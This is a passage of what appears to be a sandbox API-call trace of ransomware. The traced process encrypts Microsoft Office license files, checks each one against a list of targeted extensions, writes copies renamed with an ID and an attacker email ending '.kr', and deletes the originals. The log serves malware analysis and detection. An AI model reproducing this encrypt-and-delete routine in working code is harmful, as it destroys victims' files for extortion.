lpString2="m-ms") returned -1 [0202.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms") returned 82 [0202.831] lstrlenW (lpString=".zip") returned 4 [0202.831] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0202.831] lstrlenW (lpString=".rar") returned 4 [0202.831] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0202.831] lstrlenW (lpString=".bz2") returned 4 [0202.831] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0202.831] lstrlenW (lpString=".7z") returned 3 [0202.831] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0202.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms") returned 82 [0202.831] lstrlenW (lpString=".dbf") returned 4 [0202.831] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0202.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms") returned 82 [0202.831] lstrlenW (lpString=".1cd") returned 4 [0202.831] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0202.831] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms") returned 82 [0202.831] lstrlenW (lpString=".jpg") returned 4 [0202.831] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0202.831] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0202.831] lstrlenW (lpString="O365HomePremR_SubTest3-ppd.xrm-ms") returned 33 [0202.832] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0202.832] GetFileSizeEx (in: hFile=0x3e8, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=23134) returned 1 [0202.832] CloseHandle (hObject=0x3e8) returned 1 [0202.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ppd.xrm-ms")) returned 0x220 [0202.832] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0202.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0202.833] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.833] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0202.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0202.834] GetLastError () returned 0x0 [0202.834] ReadFile (in: hFile=0x3e8, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x5a5e, lpOverlapped=0x0) returned 1 [0203.191] WriteFile (in: hFile=0x560, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x5a60, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x5a60, lpOverlapped=0x0) returned 1 [0203.242] ReadFile (in: hFile=0x3e8, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0203.242] WriteFile (in: hFile=0x560, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x116, lpOverlapped=0x0) returned 1 [0203.242] SetEndOfFile (hFile=0x560) returned 1 [0203.242] CloseHandle (hObject=0x560) returned 1 [0203.242] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.242] SetEndOfFile (hFile=0x3e8) returned 1 [0203.248] CloseHandle (hObject=0x3e8) returned 1 [0203.248] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0203.248] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-ppd.xrm-ms")) returned 1 [0203.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms") returned 83 [0203.249] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms") returned 83 [0203.249] lstrlenW (lpString=".doc") returned 4 [0203.249] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0203.249] lstrlenW (lpString=".docx") returned 5 [0203.249] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0203.250] lstrlenW (lpString=".pdf") returned 4 [0203.250] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0203.250] lstrlenW (lpString=".xls") returned 4 [0203.250] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0203.250] lstrlenW (lpString=".xlsx") returned 5 [0203.250] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0203.250] lstrlenW (lpString=".ppt") returned 4 [0203.250] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0203.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms") returned 83 [0203.250] lstrlenW (lpString=".zip") returned 4 [0203.250] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0203.250] lstrlenW (lpString=".rar") returned 4 [0203.250] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0203.250] lstrlenW (lpString=".bz2") returned 4 [0203.250] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0203.250] lstrlenW (lpString=".7z") returned 3 [0203.250] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0203.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms") returned 83 [0203.250] lstrlenW (lpString=".dbf") returned 4 [0203.250] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0203.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms") returned 83 [0203.250] lstrlenW (lpString=".1cd") returned 4 [0203.250] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0203.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms") returned 83 [0203.250] lstrlenW (lpString=".jpg") returned 4 [0203.250] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0203.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms") returned 83 [0203.250] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms") returned 83 [0203.250] lstrlenW (lpString=".doc") returned 4 [0203.250] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0203.250] lstrlenW (lpString=".docx") returned 5 [0203.251] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0203.251] lstrlenW (lpString=".pdf") returned 4 [0203.251] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0203.251] lstrlenW (lpString=".xls") returned 4 [0203.251] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0203.251] lstrlenW (lpString=".xlsx") returned 5 [0203.251] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0203.251] lstrlenW (lpString=".ppt") returned 4 [0203.251] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0203.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms") returned 83 [0203.251] lstrlenW (lpString=".zip") returned 4 [0203.251] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0203.251] lstrlenW (lpString=".rar") returned 4 [0203.251] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0203.251] lstrlenW (lpString=".bz2") returned 4 [0203.251] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0203.251] lstrlenW (lpString=".7z") returned 3 [0203.251] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0203.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms") returned 83 [0203.251] lstrlenW (lpString=".dbf") returned 4 [0203.251] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0203.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms") returned 83 [0203.251] lstrlenW (lpString=".1cd") returned 4 [0203.251] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0203.251] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-ppd.xrm-ms") returned 83 [0203.251] lstrlenW (lpString=".jpg") returned 4 [0203.251] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0203.251] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0203.251] lstrlenW (lpString="O365HomePremR_SubTrial2-pl.xrm-ms") returned 33 [0203.252] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0203.252] GetFileSizeEx (in: hFile=0x3e8, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=11183) returned 1 [0203.253] CloseHandle (hObject=0x3e8) returned 1 [0203.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-pl.xrm-ms")) returned 0x220 [0203.253] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0203.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e8 [0203.253] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.253] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-pl.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0203.255] GetLastError () returned 0x0 [0203.255] ReadFile (in: hFile=0x3e8, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x2baf, lpOverlapped=0x0) returned 1 [0203.260] WriteFile (in: hFile=0x560, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x2bb0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x2bb0, lpOverlapped=0x0) returned 1 [0203.261] ReadFile (in: hFile=0x3e8, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0203.261] WriteFile (in: hFile=0x560, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x116, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x116, lpOverlapped=0x0) returned 1 [0203.261] SetEndOfFile (hFile=0x560) returned 1 [0203.261] CloseHandle (hObject=0x560) returned 1 [0203.261] SetFilePointerEx (in: hFile=0x3e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0203.261] SetEndOfFile (hFile=0x3e8) returned 1 [0203.265] CloseHandle (hObject=0x3e8) returned 1 [0203.265] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0203.365] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-pl.xrm-ms")) returned 1 [0203.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms") returned 83 [0203.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms") returned 83 [0203.686] lstrlenW (lpString=".doc") returned 4 [0203.686] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0203.686] lstrlenW (lpString=".docx") returned 5 [0203.686] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0203.686] lstrlenW (lpString=".pdf") returned 4 [0203.686] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0203.686] lstrlenW (lpString=".xls") returned 4 [0203.686] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0203.686] lstrlenW (lpString=".xlsx") returned 5 [0203.686] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0203.686] lstrlenW (lpString=".ppt") returned 4 [0203.686] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0203.686] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms") returned 83 [0203.686] lstrlenW (lpString=".zip") returned 4 [0203.686] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0203.686] lstrlenW (lpString=".rar") returned 4 [0203.687] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0203.687] lstrlenW (lpString=".bz2") returned 4 [0203.687] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0203.687] lstrlenW (lpString=".7z") returned 3 [0203.687] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0203.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms") returned 83 [0203.687] lstrlenW (lpString=".dbf") returned 4 [0203.687] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0203.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms") returned 83 [0203.687] lstrlenW (lpString=".1cd") returned 4 [0203.687] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0203.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms") returned 83 [0203.687] lstrlenW (lpString=".jpg") returned 4 [0203.687] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0203.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms") returned 83 [0203.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms") returned 83 [0203.687] lstrlenW (lpString=".doc") returned 4 [0203.687] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0203.687] lstrlenW (lpString=".docx") returned 5 [0203.687] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0203.687] lstrlenW (lpString=".pdf") returned 4 [0203.687] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0203.687] lstrlenW (lpString=".xls") returned 4 [0203.687] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0203.687] lstrlenW (lpString=".xlsx") returned 5 [0203.687] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0203.687] lstrlenW (lpString=".ppt") returned 4 [0203.687] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0203.687] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms") returned 83 [0203.687] lstrlenW (lpString=".zip") returned 4 [0203.687] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0203.687] lstrlenW (lpString=".rar") returned 4 [0203.687] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0203.687] lstrlenW (lpString=".bz2") returned 4 [0203.688] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0203.688] lstrlenW (lpString=".7z") returned 3 [0203.688] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0203.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms") returned 83 [0203.688] lstrlenW (lpString=".dbf") returned 4 [0203.688] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0203.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms") returned 83 [0203.688] lstrlenW (lpString=".1cd") returned 4 [0203.688] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0203.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-pl.xrm-ms") returned 83 [0203.688] lstrlenW (lpString=".jpg") returned 4 [0203.688] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0203.688] lstrcmpiW (lpString1=".xrm-ms", lpString2=".kr") returned 1 [0203.688] lstrlenW (lpString="O365HomePremR_SubTrial2-ppd.xrm-ms") returned 34 [0203.688] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x578 [0203.689] GetFileSizeEx (in: hFile=0x578, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=23135) returned 1 [0203.689] CloseHandle (hObject=0x578) returned 1 [0203.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-ppd.xrm-ms")) returned 0x220 [0203.689] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0203.689] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0204.273] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.274] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.274] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-ppd.xrm-ms.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x520 [0204.279] GetLastError () returned 0x0 [0204.279] ReadFile (in: hFile=0x3c4, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x5a5f, lpOverlapped=0x0) returned 1 [0204.284] WriteFile (in: hFile=0x520, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x5a60, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x5a60, lpOverlapped=0x0) returned 1 [0204.286] ReadFile (in: hFile=0x3c4, lpBuffer=0x3e6f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0204.286] WriteFile (in: hFile=0x520, lpBuffer=0x3e6f020*, nNumberOfBytesToWrite=0x118, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e6f020*, lpNumberOfBytesWritten=0x327fc94*=0x118, lpOverlapped=0x0) returned 1 [0204.286] SetEndOfFile (hFile=0x520) returned 1 [0204.289] CloseHandle (hObject=0x520) returned 1 [0204.290] SetFilePointerEx (in: hFile=0x3c4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0204.290] SetEndOfFile (hFile=0x3c4) returned 1 [0204.294] CloseHandle (hObject=0x3c4) returned 1 [0204.294] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0204.295] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtrial2-ppd.xrm-ms")) returned 1 [0204.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms") returned 84 [0204.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms") returned 84 [0204.296] lstrlenW (lpString=".doc") returned 4 [0204.296] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0204.296] lstrlenW (lpString=".docx") returned 5 [0204.296] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0204.296] lstrlenW (lpString=".pdf") returned 4 [0204.296] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0204.296] lstrlenW (lpString=".xls") returned 4 [0204.296] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0204.296] lstrlenW (lpString=".xlsx") returned 5 [0204.296] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0204.296] lstrlenW (lpString=".ppt") returned 4 [0204.296] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0204.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms") returned 84 [0204.296] lstrlenW (lpString=".zip") returned 4 [0204.296] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0204.296] lstrlenW (lpString=".rar") returned 4 [0204.296] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0204.296] lstrlenW (lpString=".bz2") returned 4 [0204.296] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0204.296] lstrlenW (lpString=".7z") returned 3 [0204.296] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0204.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms") returned 84 [0204.296] lstrlenW (lpString=".dbf") returned 4 [0204.296] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0204.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms") returned 84 [0204.296] lstrlenW (lpString=".1cd") returned 4 [0204.296] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0204.296] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms") returned 84 [0204.296] lstrlenW (lpString=".jpg") returned 4 [0204.297] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0204.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms") returned 84 [0204.297] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTrial2-ppd.xrm-ms") returned 84 